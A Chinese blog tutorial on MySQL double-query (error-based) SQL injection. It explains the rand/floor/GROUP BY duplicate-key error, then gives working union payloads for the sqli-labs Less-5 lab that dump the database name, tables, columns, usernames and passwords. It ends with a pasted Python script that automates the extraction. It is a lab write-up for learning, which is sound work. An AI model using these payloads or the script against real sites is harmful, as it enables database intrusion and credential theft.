怎么让sql查询的字段可以不出现在group分组里_白帽子:SQL注入之双查询注入

什么是双查询注入呢?

看大佬的解释太深奥,粗俗的理解就是一个select语句里再嵌套一个select语句,将有用的信息显示在SQL的报错信息。

首先,理解四个函数/语句:Concat(),Rand(), Floor(), Count(),Group by clause

①concat()函数

我理解为组合,汇合函数将括号里的符号连接在一起。

a8986c9be71521c07ed04b31cae2f5c6.png

将结果连在了一起。

4cbac94e27d91bb14ab00cec939a7d82.png

②Rand函数

用来返回一个01之间的随机数,区间表示就是【0,1)。括号里为空时,随机产生数。

9ceb6271323ae3ede1ad262f4c4b57a9.png

当括号里的参数固定时,随机数(随机数列)也是固定的。

dee6f116a60b0803b24e2428f55c2cd8.png

让我们看一下随机数列

select rand(3) from information_schema.columns limit 3;

产生三列随机数。

1cb4d441fbacdd8b7490262073eeb572.png

对比一下还是不变。

③Floor()函数

Floor()函数时取整函数,当输入一个非整数,返回小于等于输入参数的最大整数。

9af296b7db716c4d8e85d1a61fa92c3a.png

④count()函数

用于统计行数。

5f47fef24e85130e6333b85ec103fb02.png

⑤group by 语句

先看这句:

select table_schema, table_name from information_schema.tables;

077b7ec7cac8262ea9f028f9df5f5a7a.png

加上group by语句后:

select table_schema, table_name from information_schema.tables by table_schema;

6c02cf042dafa816aaa6dfcf84be040f.png

加上之后,数据明显少了很多的重复的。重复的数据库只显示一个,并且只显示数据库里的第一张表。

几个函数灵活运用,会有什么不异想不到的结果呢?

我们实践一下

①rand()函数和floor()函数结合使用。

select floor(rand(5)*12) from information_schema.columns limit 5;

10a41ecde27375f4a254ce8a6817381e.png

由内到外逐个分析,rand(5)会随机产生5个不同的值,但是*12,就是将【0,1)扩大到【0,12),floor函数就是取整了。

②count()函数和group by语句

select table_schema, count(*) from information_schema.tables group by table_schema;

1290d0d11e360a9478b2013628c51cbb.png

他们的组合就是统计了每个数据库里有多少张表。

其原理就是:Mysql会建立一张临时表,有group_key和tally两个字段,其中group_key设置了UNIQUE约束,即不能有两行的group_key列的值相同。使用group by语句和count()函数的时候,mysql数据库会先建立一个虚拟表,当查询到新的键不在虚拟表中,数据库就会将其插入表中,如果数据库中已存在该键,则找到该键对应的计数字段并加1。

③双查询的核心语句(几个函数综合使用)

先看payload:select floor(rand(14)*2) c, count(*) from information_schema.columns group by c;

2cb3904b80a2bf573ed928f48bce400d.png

报错了,那为什么会报错? 分析一下: SQL语句中用列c分组,而列c是floor(rand(14)2)的别名。 floor(rand(14)2)产生的随机数列,前四位是:1,0,1,0。

我们查询的时候,mysql数据库会先建立一个临时表,设置了UNIQUE约束的group_key和tally两个字段。当查询到新的"group_key键"不在临时表中,数据库就会将其插入临时表中,如果数据库中已存在group_key该键,则找到该键对应的"tally计数"字段并加1。

创建好临时表后,Mysql开始逐行扫描information_schema.columns表,遇到的第一个分组列是floor(rand(14)2),计算出其值为1,便去查询临时表中是否有group_key为1的行,发现没有,便在临时表中新增一行,group_key为floor(rand(14)2),注意此时又计算了一次,结果为0。所以实际插入到临时表的一行group_key为0,tally为1,临时表变成了:

939d936eb5fd3ce6ec49271d8b0cdad7.png

Mysql继续扫描information_schema.columns表,遇到的第二个分组列还是floor(rand(14)2),计算出其值为1(这个1是随机数列的第三个数),便去查询临时表中是否有group_key为1的行,发现没有,便在临时表中新增一行,group_key为floor(rand(14)2),此时又计算了一次,结果为0(这个0是随机数列的第四个数),所以尝试向临时表插入一行数据,group_key为0,tally为1。但实际上临时表中已经有一行的group_key为0,而group_key又设置了不可重复的约束,所以就会出现报错。

知道了原理,就实战一下。以sql-lib/Less-5为例:

判断闭合点:

59e073bf797be48b5ff6fe69aad8d8ea.png

然后查询数据库: 构建payload:?id=-1' union select 1,count(*),concat( (select database()),floor(rand()*2)) as a from information_schema.tables group by a --+

4f0d2f67fef730563cc02900143049ff.png

数据库就在报错的信息里显示出来了。

但是,因为是随机值,所以只会有50%的概率会报错。

91467023fdd0d5dd6ce63759f8052cfe.png

相同的payload但显示正常。

有大佬说,可以通过修改rand()使用的种子来使其百分百报错,如下将rand()改为rand(1),测试百分之百报错,即payload:?id=-1' union select 1,count(*),concat( (select database()),floor(rand(1)*2)) as a from information_schema.tables group by a --+

4eeaae83bfcaf350da69a24bd8de949c.png

但我发现,rand(1)并不会100%报错,反而我是试了几次都没有报错,只有4,11,14,15这几个数会100%报错,我也不知道什么原因,在这里留个悬念,希望大佬能解释一下。

我们来爆表,前面我们知道了当前数据库的为security,构造payload:?id=-1' union select 1,count(*),concat( (select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand(4)*2)) as a from information_schema.columns group by a --+

d6eeb17c91a9046185ea1281351de813.png

总共四张表,我们在第三张拿到了我们想要的。

知道了表名,看列值,构造payload:?id=-1' union select 1,count(*),concat( (select column_name from information_schema.columns where table_name='users' limit 4,1),floor(rand(4)*2)) as a from information_schema.columns group by a --+

我通过修改limit X,1里X的值,在3,1的时候看到了password字段

979e12860cff99de5f356784316ce477.png

在9,1的时候得到了用户名字段

dbca3f53b9685c2ce7fc108929f9124b.png

开始拿用户名和密码,构造payload:?id=-1' union select 1,count(*),concat( (select username from users limit 0,1),floor(rand(4)*2)) as a from information_schema.columns group by a --+

6fbb3ca84a8bbb30b0cbbad02afbd2b0.png

?id=-1' union select 1,count(*),concat( (select password from users limit 0,1),floor(rand(4)*2)) as a from information_schema.columns group by a --+

69a10577a8e04f5df50845982bd82f15.png

这里要注意用户名和密码的列数应改相对。

是不是jio着麻烦,附上Mochaaz大佬的python代码

import requestsfrom bs4 import BeautifulSoupdb_name = ''table_list = []column_list = []url = '''http://192.168.1.158/sqlilabs/Less-5/?id=1'''### 获取当前数据库名 ###print('当前数据库名:')payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select database()),0x3a,floor(rand(0)*2)))--+'''r = requests.get(url+payload)db_name = r.text.split(':')[-2]print('[+]' + db_name)### 获取表名 ###print('数据库%s下的表名:' % db_name)for i in range(50):payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select table_name from information_schema.tables where table_schema='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (db_name,i)r = requests.get(url+payload)if 'group_key' not in r.text:breaktable_name = r.text.split(':')[-2]table_list.append(table_name)print('[+]' + table_name)### 获取列名 ####### 这里以users表为例 ####print('%s表下的列名:' % table_list[-1])for i in range(50):payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select column_name from information_schema.columns where table_name='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (table_list[-1],i)r = requests.get(url + payload)if 'group_key' not in r.text:breakcolumn_name = r.text.split(':')[-2]column_list.append(column_name)print('[+]' + column_name)### 获取字段值 ####### 这里以username列为例 ####print('%s列下的字段值:' % column_list[-2])for i in range(50):payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select %s from %s.%s limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (column_list[-2],db_name,table_list[-1],i)r = requests.get(url + payload)if 'group_key' not in r.text:breakdump = r.text.split(':')[-2]print('[+]' + dump)

花费几小时的注入,代码几秒就出来结果了。

4175b0d777306d3061a07f5f82455310.png

用户名直接出来了,我要好好学python了,啥都不会。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值